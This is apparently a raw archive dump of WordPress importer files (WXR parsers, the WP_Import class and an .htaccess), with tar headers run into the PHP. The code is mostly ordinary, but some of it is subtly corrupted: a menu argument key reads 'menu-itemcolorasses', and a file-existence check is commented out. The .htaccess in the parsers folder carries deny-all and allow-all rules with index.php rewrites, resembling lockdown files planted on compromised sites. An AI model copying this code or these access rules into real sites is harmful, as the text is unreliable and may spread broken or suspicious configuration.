'wp:postmeta' ); if ( ! empty( $post_meta ) ) { $postdata['postmeta'] = $post_meta; } return $postdata; } function _normalize_tag( $matches ) { return '<' . strtolower( $matches[1] ); } function fopen( $filename, $mode = 'r' ) { if ( $this->has_gzip ) return gzopen( $filename, $mode ); return fopen( $filename, $mode ); } function feof( $fp ) { if ( $this->has_gzip ) return gzeof( $fp ); return feof( $fp ); } function fgets( $fp, $len = 8192 ) { if ( $this->has_gzip ) return gzgets( $fp, $len ); return fgets( $fp, $len ); } function fclose( $fp ) { if ( $this->has_gzip ) return gzclose( $fp ); return fclose( $fp ); } } admin/import/lib/parsers/class-wxr-parser.php000064400000003531147206624460015336 0ustar00parse( $file ); // If SimpleXML succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'SimpleXML_parse_error' != $result->get_error_code() ) return $result; } else if ( extension_loaded( 'xml' ) ) { $parser = new WXR_Parser_XML; $result = $parser->parse( $file ); // If XMLParser succeeds or this is an invalid WXR file then return the results if ( ! is_wp_error( $result ) || 'XML_parse_error' != $result->get_error_code() ) return $result; } // We have a malformed XML file, so display the error and fallthrough to regex if ( isset($result) && defined('IMPORT_DEBUG') && IMPORT_DEBUG ) { echo '
';
			if ( 'SimpleXML_parse_error' == $result->get_error_code() ) {
				foreach  ( $result->get_error_data() as $error )
					echo $error->line . ':' . $error->column . ' ' . esc_html( $error->message ) . "\n";
			} else if ( 'XML_parse_error' == $result->get_error_code() ) {
				$error = $result->get_error_data();
				echo $error[0] . ':' . $error[1] . ' ' . esc_html( $error[2] );
			}
			echo '
'; echo '

' . __( 'There was an error when reading this WXR file', 'wordpress-importer' ) . '
'; echo __( 'Details are shown above. The importer will now try again with a different parser...', 'wordpress-importer' ) . '

'; } // use regular expressions if nothing else available or this is bad XML $parser = new WXR_Parser_Regex; return $parser->parse( $file ); } } admin/import/lib/parsers/.htaccess000064400000001626147206624460013211 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/import/lib/wordpress-importer.php000064400000002731147206624460014332 0ustar00 $item ) { $value[ $index ] = map_deep( $item, $callback ); } } elseif ( is_object( $value ) ) { $object_vars = get_object_vars( $value ); foreach ( $object_vars as $property_name => $property_value ) { $value->$property_name = map_deep( $property_value, $callback ); } } else { $value = call_user_func( $callback, $value ); } return $value; } } admin/import/lib/class-wp-import.php000064400000144176147206624460013516 0ustar00header(); $step = empty( $_GET['step'] ) ? 0 : (int) $_GET['step']; switch ( $step ) { case 0: $this->greet(); break; case 1: check_admin_referer( 'import-upload' ); if ( $this->handle_upload() ) $this->import_options(); break; case 2: check_admin_referer( 'import-wordpress' ); $this->fetch_attachments = ( ! empty( $_POST['fetch_attachments'] ) && $this->allow_fetch_attachments() ); $this->id = (int) $_POST['import_id']; $file = get_attached_file( $this->id ); set_time_limit(0); $this->import( $file ); break; } $this->footer(); } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ function import( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $this->import_start( $file ); $this->get_author_mapping(); wp_suspend_cache_invalidation( true ); $this->process_categories(); $this->process_tags(); $this->process_terms(); $this->process_posts(); wp_suspend_cache_invalidation( false ); // update incorrect/missing information in the DB $this->backfill_parents(); $this->backfill_attachment_urls(); $this->remap_featured_images(); $this->import_end(); } /** * Parses the WXR file and prepares us for the task of processing parsed data * * @param string $file Path to the WXR file for importing */ function import_start( $file ) { // if ( ! is_file($file) ) { // echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; // echo __( 'The file does not exist, please try again.', 'wordpress-importer' ) . '

'; // $this->footer(); // die(); // } $import_data = $this->parse( $file ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; $this->footer(); die(); } $this->version = $import_data['version']; $this->get_authors_from_import( $import_data ); $this->posts = $import_data['posts']; $this->terms = $import_data['terms']; $this->categories = $import_data['categories']; $this->tags = $import_data['tags']; $this->base_url = esc_url( $import_data['base_url'] ); wp_defer_term_counting( true ); wp_defer_comment_counting( true ); do_action( 'import_start' ); } /** * Performs post-import cleanup of files and the cache */ function import_end() { wp_import_cleanup( $this->id ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); echo '

' . __( 'All done.', 'wordpress-importer' ) . ' ' . __( 'Have fun!', 'wordpress-importer' ) . '' . '

'; echo '

' . __( 'Remember to update the passwords and roles of imported users.', 'wordpress-importer' ) . '

'; do_action( 'import_end' ); } /** * Handles the WXR upload and initial parsing of the file to prepare for * displaying author import options * * @return bool False if error uploading or invalid file, true otherwise */ function handle_upload() { $file = wp_import_handle_upload(); if ( isset( $file['error'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $file['error'] ) . '

'; return false; } else if ( ! file_exists( $file['file'] ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; printf( __( 'The export file could not be found at %s. It is likely that this was caused by a permissions problem.', 'wordpress-importer' ), esc_html( $file['file'] ) ); echo '

'; return false; } $this->id = (int) $file['id']; $import_data = $this->parse( $file['file'] ); if ( is_wp_error( $import_data ) ) { echo '

' . __( 'Sorry, there has been an error.', 'wordpress-importer' ) . '
'; echo esc_html( $import_data->get_error_message() ) . '

'; return false; } $this->version = $import_data['version']; if ( $this->version > $this->max_wxr_version ) { echo '

'; printf( __( 'This WXR file (version %s) may not be supported by this version of the importer. Please consider updating.', 'wordpress-importer' ), esc_html($import_data['version']) ); echo '

'; } $this->get_authors_from_import( $import_data ); return true; } /** * Retrieve authors from parsed WXR data * * Uses the provided author information from WXR 1.1 files * or extracts info from each post for WXR 1.0 files * * @param array $import_data Data returned by a WXR parser */ function get_authors_from_import( $import_data ) { if ( ! empty( $import_data['authors'] ) ) { $this->authors = $import_data['authors']; // no author information, grab it from the posts } else { foreach ( $import_data['posts'] as $post ) { $login = sanitize_user( $post['post_author'], true ); if ( empty( $login ) ) { printf( __( 'Failed to import author %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html( $post['post_author'] ) ); echo '
'; continue; } if ( ! isset($this->authors[$login]) ) $this->authors[$login] = array( 'author_login' => $login, 'author_display_name' => $post['post_author'] ); } } } /** * Display pre-import options, author importing/mapping and option to * fetch attachments */ function import_options() { $j = 0; ?>
authors ) ) : ?>

allow_create_users() ) : ?>

    authors as $author ) : ?>
  1. author_select( $j++, $author ); ?>
allow_fetch_attachments() ) : ?>

' . esc_html( $author['author_display_name'] ); if ( $this->version != '1.0' ) echo ' (' . esc_html( $author['author_login'] ) . ')'; echo '
'; if ( $this->version != '1.0' ) echo '
'; $create_users = $this->allow_create_users(); if ( $create_users ) { echo ''; echo '
'; } echo ''; echo ' ' . wp_dropdown_users( array( 'name' => "user_map[$n]", 'id' => 'imported_authors_' . $n, 'multi' => true, 'show_option_all' => __( '- Select -', 'wordpress-importer' ), 'show' => 'display_name_with_login', 'echo' => 0, ) ); echo ''; if ( $this->version != '1.0' ) echo '
'; } /** * Map old author logins to local user IDs based on decisions made * in import options form. Can map to an existing user, create a new user * or falls back to the current user in case of error with either of the previous */ function get_author_mapping() { if ( ! isset( $_POST['imported_authors'] ) ) return; $create_users = $this->allow_create_users(); foreach ( (array) $_POST['imported_authors'] as $i => $old_login ) { // Multisite adds strtolower to sanitize_user. Need to sanitize here to stop breakage in process_posts. $santized_old_login = sanitize_user( $old_login, true ); $old_id = isset( $this->authors[$old_login]['author_id'] ) ? intval($this->authors[$old_login]['author_id']) : false; if ( ! empty( $_POST['user_map'][$i] ) ) { $user = get_userdata( intval($_POST['user_map'][$i]) ); if ( isset( $user->ID ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user->ID; $this->author_mapping[$santized_old_login] = $user->ID; } } else if ( $create_users ) { if ( ! empty($_POST['user_new'][$i]) ) { $user_id = wp_create_user( $_POST['user_new'][$i], wp_generate_password() ); } else if ( $this->version != '1.0' ) { $user_data = array( 'user_login' => $old_login, 'user_pass' => wp_generate_password(), 'user_email' => isset( $this->authors[$old_login]['author_email'] ) ? $this->authors[$old_login]['author_email'] : '', 'display_name' => $this->authors[$old_login]['author_display_name'], 'first_name' => isset( $this->authors[$old_login]['author_first_name'] ) ? $this->authors[$old_login]['author_first_name'] : '', 'last_name' => isset( $this->authors[$old_login]['author_last_name'] ) ? $this->authors[$old_login]['author_last_name'] : '', ); $user_id = wp_insert_user( $user_data ); } if ( ! is_wp_error( $user_id ) ) { if ( $old_id ) $this->processed_authors[$old_id] = $user_id; $this->author_mapping[$santized_old_login] = $user_id; } else { printf( __( 'Failed to create new user for %s. Their posts will be attributed to the current user.', 'wordpress-importer' ), esc_html($this->authors[$old_login]['author_display_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ' ' . $user_id->get_error_message(); echo '
'; } } // failsafe: if the user_id was invalid, default to the current user if ( ! isset( $this->author_mapping[$santized_old_login] ) ) { if ( $old_id ) $this->processed_authors[$old_id] = (int) get_current_user_id(); $this->author_mapping[$santized_old_login] = (int) get_current_user_id(); } } } /** * Create new categories based on import information * * Doesn't create a new category if its slug already exists */ function process_categories() { $this->categories = apply_filters( 'wp_import_categories', $this->categories ); if ( empty( $this->categories ) ) return; foreach ( $this->categories as $cat ) { // if the category already exists leave it alone $term_id = term_exists( $cat['category_nicename'], 'category' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = (int) $term_id; continue; } $parent = empty( $cat['category_parent'] ) ? 0 : category_exists( $cat['category_parent'] ); $description = isset( $cat['category_description'] ) ? $cat['category_description'] : ''; $data = array( 'category_nicename' => $cat['category_nicename'], 'category_parent' => $parent, 'cat_name' => wp_slash( $cat['cat_name'] ), 'category_description' => wp_slash( $description ), ); $id = wp_insert_category( $data ); if ( ! is_wp_error( $id ) && $id > 0 ) { if ( isset($cat['term_id']) ) $this->processed_terms[intval($cat['term_id'])] = $id; } else { printf( __( 'Failed to import category %s', 'wordpress-importer' ), esc_html($cat['category_nicename']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $cat, $id ); } unset( $this->categories ); } /** * Create new post tags based on import information * * Doesn't create a tag if its slug already exists */ function process_tags() { $this->tags = apply_filters( 'wp_import_tags', $this->tags ); if ( empty( $this->tags ) ) return; foreach ( $this->tags as $tag ) { // if the tag already exists leave it alone $term_id = term_exists( $tag['tag_slug'], 'post_tag' ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = (int) $term_id; continue; } $description = isset( $tag['tag_description'] ) ? $tag['tag_description'] : ''; $args = array( 'slug' => $tag['tag_slug'], 'description' => wp_slash( $description ), ); $id = wp_insert_term( wp_slash( $tag['tag_name'] ), 'post_tag', $args ); if ( ! is_wp_error( $id ) ) { if ( isset($tag['term_id']) ) $this->processed_terms[intval($tag['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import post tag %s', 'wordpress-importer' ), esc_html($tag['tag_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $tag, $id['term_id'] ); } unset( $this->tags ); } /** * Create new terms based on import information * * Doesn't create a term its slug already exists */ function process_terms() { $this->terms = apply_filters( 'wp_import_terms', $this->terms ); if ( empty( $this->terms ) ) return; foreach ( $this->terms as $term ) { // if the term already exists in the correct taxonomy leave it alone $term_id = term_exists( $term['slug'], $term['term_taxonomy'] ); if ( $term_id ) { if ( is_array($term_id) ) $term_id = $term_id['term_id']; if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = (int) $term_id; continue; } if ( empty( $term['term_parent'] ) ) { $parent = 0; } else { $parent = term_exists( $term['term_parent'], $term['term_taxonomy'] ); if ( is_array( $parent ) ) { $parent = $parent['term_id']; } } $description = isset( $term['term_description'] ) ? $term['term_description'] : ''; $args = array( 'slug' => $term['slug'], 'description' => wp_slash( $description ), 'parent' => (int) $parent ); $id = wp_insert_term( wp_slash( $term['term_name'] ), $term['term_taxonomy'], $args ); if ( ! is_wp_error( $id ) ) { if ( isset($term['term_id']) ) $this->processed_terms[intval($term['term_id'])] = $id['term_id']; } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($term['term_taxonomy']), esc_html($term['term_name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $id->get_error_message(); echo '
'; continue; } $this->process_termmeta( $term, $id['term_id'] ); } unset( $this->terms ); } /** * Add metadata to imported term. * * @since 0.6.2 * * @param array $term Term data from WXR import. * @param int $term_id ID of the newly created term. */ protected function process_termmeta( $term, $term_id ) { if ( ! function_exists( 'add_term_meta' ) ) { return; } if ( ! isset( $term['termmeta'] ) ) { $term['termmeta'] = array(); } /** * Filters the metadata attached to an imported term. * * @since 0.6.2 * * @param array $termmeta Array of term meta. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $term['termmeta'] = apply_filters( 'wp_import_term_meta', $term['termmeta'], $term_id, $term ); if ( empty( $term['termmeta'] ) ) { return; } foreach ( $term['termmeta'] as $meta ) { /** * Filters the meta key for an imported piece of term meta. * * @since 0.6.2 * * @param string $meta_key Meta key. * @param int $term_id ID of the newly created term. * @param array $term Term data from the WXR import. */ $key = apply_filters( 'import_term_meta_key', $meta['key'], $term_id, $term ); if ( ! $key ) { continue; } // Export gets meta straight from the DB so could have a serialized string $value = maybe_unserialize( $meta['value'] ); add_term_meta( $term_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); /** * Fires after term meta is imported. * * @since 0.6.2 * * @param int $term_id ID of the newly created term. * @param string $key Meta key. * @param mixed $value Meta value. */ do_action( 'import_term_meta', $term_id, $key, $value ); } } /** * Create new posts based on import information * * Posts marked as having a parent which doesn't exist will become top level items. * Doesn't create a new post if: the post type doesn't exist, the given post ID * is already noted as imported or a post with the same title and date already exists. * Note that new/updated terms, comments and meta are imported for the last of the above. */ function process_posts() { $this->posts = apply_filters( 'wp_import_posts', $this->posts ); foreach ( $this->posts as $post ) { $post = apply_filters( 'wp_import_post_data_raw', $post ); if ( ! post_type_exists( $post['post_type'] ) ) { printf( __( 'Failed to import “%s”: Invalid post type %s', 'wordpress-importer' ), esc_html($post['post_title']), esc_html($post['post_type']) ); echo '
'; do_action( 'wp_import_post_exists', $post ); continue; } if ( isset( $this->processed_posts[$post['post_id']] ) && ! empty( $post['post_id'] ) ) continue; if ( $post['status'] == 'auto-draft' ) continue; if ( 'nav_menu_item' == $post['post_type'] ) { $this->process_menu_item( $post ); continue; } $post_type_object = get_post_type_object( $post['post_type'] ); $post_exists = post_exists( $post['post_title'], '', $post['post_date'] ); /** * Filter ID of the existing post corresponding to post currently importing. * * Return 0 to force the post to be imported. Filter the ID to be something else * to override which existing post is mapped to the imported post. * * @see post_exists() * @since 0.6.2 * * @param int $post_exists Post ID, or 0 if post did not exist. * @param array $post The post array to be inserted. */ $post_exists = apply_filters( 'wp_import_existing_post', $post_exists, $post ); if ( $post_exists && get_post_type( $post_exists ) == $post['post_type'] ) { printf( __('%s “%s” already exists.', 'wordpress-importer'), $post_type_object->labels->singular_name, esc_html($post['post_title']) ); echo '
'; $comment_post_ID = $post_id = $post_exists; $this->processed_posts[ intval( $post['post_id'] ) ] = intval( $post_exists ); } else { $post_parent = (int) $post['post_parent']; if ( $post_parent ) { // if we already know the parent, map it to the new local ID if ( isset( $this->processed_posts[$post_parent] ) ) { $post_parent = $this->processed_posts[$post_parent]; // otherwise record the parent for later } else { $this->post_orphans[intval($post['post_id'])] = $post_parent; $post_parent = 0; } } // map the post author $author = sanitize_user( $post['post_author'], true ); if ( isset( $this->author_mapping[$author] ) ) $author = $this->author_mapping[$author]; else $author = (int) get_current_user_id(); $postdata = array( 'import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password'] ); $original_post_ID = $post['post_id']; $postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $post ); $postdata = wp_slash( $postdata ); if ( 'attachment' == $postdata['post_type'] ) { $remote_url = ! empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid']; // try to use _wp_attached file for upload folder placement to ensure the same location as the export site // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload() $postdata['upload_date'] = $post['post_date']; if ( isset( $post['postmeta'] ) ) { foreach( $post['postmeta'] as $meta ) { if ( $meta['key'] == '_wp_attached_file' ) { if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches ) ) $postdata['upload_date'] = $matches[0]; break; } } } $comment_post_ID = $post_id = $this->process_attachment( $postdata, $remote_url ); } else { $comment_post_ID = $post_id = wp_insert_post( $postdata, true ); do_action( 'wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post ); } if ( is_wp_error( $post_id ) ) { printf( __( 'Failed to import %s “%s”', 'wordpress-importer' ), $post_type_object->labels->singular_name, esc_html($post['post_title']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $post_id->get_error_message(); echo '
'; continue; } if ( $post['is_sticky'] == 1 ) stick_post( $post_id ); } // map pre-import ID to local ID $this->processed_posts[intval($post['post_id'])] = (int) $post_id; if ( ! isset( $post['terms'] ) ) $post['terms'] = array(); $post['terms'] = apply_filters( 'wp_import_post_terms', $post['terms'], $post_id, $post ); // add categories, tags and other terms if ( ! empty( $post['terms'] ) ) { $terms_to_set = array(); foreach ( $post['terms'] as $term ) { // back compat with WXR 1.0 map 'tag' to 'post_tag' $taxonomy = ( 'tag' == $term['domain'] ) ? 'post_tag' : $term['domain']; $term_exists = term_exists( $term['slug'], $taxonomy ); $term_id = is_array( $term_exists ) ? $term_exists['term_id'] : $term_exists; if ( ! $term_id ) { $t = wp_insert_term( $term['name'], $taxonomy, array( 'slug' => $term['slug'] ) ); if ( ! is_wp_error( $t ) ) { $term_id = $t['term_id']; do_action( 'wp_import_insert_term', $t, $term, $post_id, $post ); } else { printf( __( 'Failed to import %s %s', 'wordpress-importer' ), esc_html($taxonomy), esc_html($term['name']) ); if ( defined('IMPORT_DEBUG') && IMPORT_DEBUG ) echo ': ' . $t->get_error_message(); echo '
'; do_action( 'wp_import_insert_term_failed', $t, $term, $post_id, $post ); continue; } } $terms_to_set[$taxonomy][] = intval( $term_id ); } foreach ( $terms_to_set as $tax => $ids ) { $tt_ids = wp_set_post_terms( $post_id, $ids, $tax ); do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post ); } unset( $post['terms'], $terms_to_set ); } if ( ! isset( $post['comments'] ) ) $post['comments'] = array(); $post['comments'] = apply_filters( 'wp_import_post_comments', $post['comments'], $post_id, $post ); // add/update comments if ( ! empty( $post['comments'] ) ) { $num_comments = 0; $inserted_comments = array(); foreach ( $post['comments'] as $comment ) { $comment_id = $comment['comment_id']; $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID; $newcomments[$comment_id]['comment_author'] = $comment['comment_author']; $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email']; $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP']; $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url']; $newcomments[$comment_id]['comment_date'] = $comment['comment_date']; $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt']; $newcomments[$comment_id]['comment_content'] = $comment['comment_content']; $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved']; $newcomments[$comment_id]['comment_type'] = $comment['comment_type']; $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent']; $newcomments[$comment_id]['commentmeta'] = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array(); if ( isset( $this->processed_authors[$comment['comment_user_id']] ) ) $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']]; } ksort( $newcomments ); foreach ( $newcomments as $key => $comment ) { // if this is a new post we can skip the comment_exists() check if ( ! $post_exists || ! comment_exists( $comment['comment_author'], $comment['comment_date'] ) ) { if ( isset( $inserted_comments[$comment['comment_parent']] ) ) { $comment['comment_parent'] = $inserted_comments[ $comment['comment_parent'] ]; } $comment_data = wp_slash( $comment ); unset( $comment_data['commentmeta'] ); // Handled separately, wp_insert_comment() also expects `comment_meta`. $comment_data = wp_filter_comment( $comment_data ); $inserted_comments[ $key ] = wp_insert_comment( $comment_data ); do_action( 'wp_import_insert_comment', $inserted_comments[ $key ], $comment, $comment_post_ID, $post ); foreach( $comment['commentmeta'] as $meta ) { $value = maybe_unserialize( $meta['value'] ); add_comment_meta( $inserted_comments[ $key ], wp_slash( $meta['key'] ), wp_slash_strings_only( $value ) ); } $num_comments++; } } unset( $newcomments, $inserted_comments, $post['comments'] ); } if ( ! isset( $post['postmeta'] ) ) $post['postmeta'] = array(); $post['postmeta'] = apply_filters( 'wp_import_post_meta', $post['postmeta'], $post_id, $post ); // add/update post meta if ( ! empty( $post['postmeta'] ) ) { foreach ( $post['postmeta'] as $meta ) { $key = apply_filters( 'import_post_meta_key', $meta['key'], $post_id, $post ); $value = false; if ( '_edit_last' == $key ) { if ( isset( $this->processed_authors[intval($meta['value'])] ) ) $value = $this->processed_authors[intval($meta['value'])]; else $key = false; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta['value'] ); } add_post_meta( $post_id, wp_slash( $key ), wp_slash_strings_only( $value ) ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' == $key ) $this->featured_images[$post_id] = (int) $value; } } } } unset( $this->posts ); } /** * Attempt to create a new menu item from import data * * Fails for draft, orphaned menu items and those without an associated nav_menu * or an invalid nav_menu term. If the post type or term object which the menu item * represents doesn't exist then the menu item will not be imported (waits until the * end of the import to retry again before discarding). * * @param array $item Menu item details from WXR file */ function process_menu_item( $item ) { // skip draft, orphaned menu items if ( 'draft' == $item['status'] ) return; $menu_slug = false; if ( isset($item['terms']) ) { // loop through terms, assume first nav_menu term is correct menu foreach ( $item['terms'] as $term ) { if ( 'nav_menu' == $term['domain'] ) { $menu_slug = $term['slug']; break; } } } // no nav_menu term associated with this menu item if ( ! $menu_slug ) { _e( 'Menu item skipped due to missing menu slug', 'wordpress-importer' ); echo '
'; return; } $menu_id = term_exists( $menu_slug, 'nav_menu' ); if ( ! $menu_id ) { printf( __( 'Menu item skipped due to invalid menu slug: %s', 'wordpress-importer' ), esc_html( $menu_slug ) ); echo '
'; return; } else { $menu_id = is_array( $menu_id ) ? $menu_id['term_id'] : $menu_id; } foreach ( $item['postmeta'] as $meta ) ${$meta['key']} = $meta['value']; if ( 'taxonomy' == $_menu_item_type && isset( $this->processed_terms[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_terms[intval($_menu_item_object_id)]; } else if ( 'post_type' == $_menu_item_type && isset( $this->processed_posts[intval($_menu_item_object_id)] ) ) { $_menu_item_object_id = $this->processed_posts[intval($_menu_item_object_id)]; } else if ( 'custom' != $_menu_item_type ) { // associated object is missing or not imported yet, we'll retry later $this->missing_menu_items[] = $item; return; } if ( isset( $this->processed_menu_items[intval($_menu_item_menu_item_parent)] ) ) { $_menu_item_menu_item_parent = $this->processed_menu_items[intval($_menu_item_menu_item_parent)]; } else if ( $_menu_item_menu_item_parent ) { $this->menu_item_orphans[intval($item['post_id'])] = (int) $_menu_item_menu_item_parent; $_menu_item_menu_item_parent = 0; } // wp_update_nav_menu_item expects CSS classes as a space separated string $_menu_item_classes = maybe_unserialize( $_menu_item_classes ); if ( is_array( $_menu_item_classes ) ) $_menu_item_classes = implode( ' ', $_menu_item_classes ); $args = array( 'menu-item-object-id' => $_menu_item_object_id, 'menu-item-object' => $_menu_item_object, 'menu-item-parent-id' => $_menu_item_menu_item_parent, 'menu-item-position' => intval( $item['menu_order'] ), 'menu-item-type' => $_menu_item_type, 'menu-item-title' => $item['post_title'], 'menu-item-url' => $_menu_item_url, 'menu-item-description' => $item['post_content'], 'menu-item-attr-title' => $item['post_excerpt'], 'menu-item-target' => $_menu_item_target, 'menu-itemcolorasses' => $_menu_item_classes, 'menu-item-xfn' => $_menu_item_xfn, 'menu-item-status' => $item['status'] ); $id = wp_update_nav_menu_item( $menu_id, 0, $args ); if ( $id && ! is_wp_error( $id ) ) $this->processed_menu_items[intval($item['post_id'])] = (int) $id; } /** * If fetching attachments is enabled then attempt to create a new attachment * * @param array $post Attachment post details from WXR * @param string $url URL to fetch attachment from * @return int|WP_Error Post ID on success, WP_Error otherwise */ function process_attachment( $post, $url ) { if ( ! $this->fetch_attachments ) return new WP_Error( 'attachment_processing_error', __( 'Fetching attachments is not enabled', 'wordpress-importer' ) ); // if the URL is absolute, but does not contain address, then upload it assuming base_site_url if ( preg_match( '|^/[\w\W]+$|', $url ) ) $url = rtrim( $this->base_url, '/' ) . $url; $upload = $this->fetch_remote_file( $url, $post ); if ( is_wp_error( $upload ) ) return $upload; if ( $info = wp_check_filetype( $upload['file'] ) ) $post['post_mime_type'] = $info['type']; else return new WP_Error( 'attachment_processing_error', __('Invalid file type', 'wordpress-importer') ); $post['guid'] = $upload['url']; // as per wp-admin/includes/upload.php $post_id = wp_insert_attachment( $post, $upload['file'] ); wp_update_attachment_metadata( $post_id, wp_generate_attachment_metadata( $post_id, $upload['file'] ) ); // remap resized image URLs, works by stripping the extension and remapping the URL stub. if ( preg_match( '!^image/!', $info['type'] ) ) { $parts = pathinfo( $url ); $name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2 $parts_new = pathinfo( $upload['url'] ); $name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" ); $this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new; } return $post_id; } /** * Attempt to download a remote file attachment * * @param string $url URL of item to fetch * @param array $post Attachment details * @return array|WP_Error Local file location details on success, WP_Error otherwise */ function fetch_remote_file( $url, $post ) { // Extract the file name from the URL. $file_name = basename( parse_url( $url, PHP_URL_PATH ) ); if ( ! $file_name ) { $file_name = md5( $url ); } $tmp_file_name = wp_tempnam( $file_name ); if ( ! $tmp_file_name ) { return new WP_Error( 'import_no_file', __( 'Could not create temporary file.', 'wordpress-importer' ) ); } // Fetch the remote URL and write it to the placeholder file. $remote_response = wp_safe_remote_get( $url, array( 'timeout' => 300, 'stream' => true, 'filename' => $tmp_file_name, 'headers' => array( 'Accept-Encoding' => 'identity', ), ) ); if ( is_wp_error( $remote_response ) ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The WordPress error message. 2: The WordPress error code. */ __( 'Request failed due to an error: %1$s (%2$s)', 'wordpress-importer' ), esc_html( $remote_response->get_error_message() ), esc_html( $remote_response->get_error_code() ) ) ); } $remote_response_code = (int) wp_remote_retrieve_response_code( $remote_response ); // Make sure the fetch was successful. if ( 200 !== $remote_response_code ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The HTTP error message. 2: The HTTP error code. */ __( 'Remote server returned the following unexpected result: %1$s (%2$s)', 'wordpress-importer' ), get_status_header_desc( $remote_response_code ), esc_html( $remote_response_code ) ) ); } $headers = wp_remote_retrieve_headers( $remote_response ); // Request failed. if ( ! $headers ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Remote server did not respond', 'wordpress-importer') ); } $filesize = (int) filesize( $tmp_file_name ); if ( 0 === $filesize ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Zero size file downloaded', 'wordpress-importer') ); } if ( ! isset( $headers['content-encoding'] ) && isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Downloaded file has incorrect size', 'wordpress-importer' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf(__('Remote file is too large, limit is %s', 'wordpress-importer' ), size_format($max_size) ) ); } // Override file name with Content-Disposition header value. if ( ! empty( $headers['content-disposition'] ) ) { $file_name_from_disposition = self::get_filename_from_disposition( (array) $headers['content-disposition'] ); if ( $file_name_from_disposition ) { $file_name = $file_name_from_disposition; } } // Set file extension if missing. $file_ext = pathinfo( $file_name, PATHINFO_EXTENSION ); if ( ! $file_ext && ! empty( $headers['content-type'] ) ) { $extension = self::get_file_extension_by_mime_type( $headers['content-type'] ); if ( $extension ) { $file_name = "{$file_name}.{$extension}"; } } // Handle the upload like _wp_handle_upload() does. $wp_filetype = wp_check_filetype_and_ext( $tmp_file_name, $file_name ); $ext = empty( $wp_filetype['ext'] ) ? 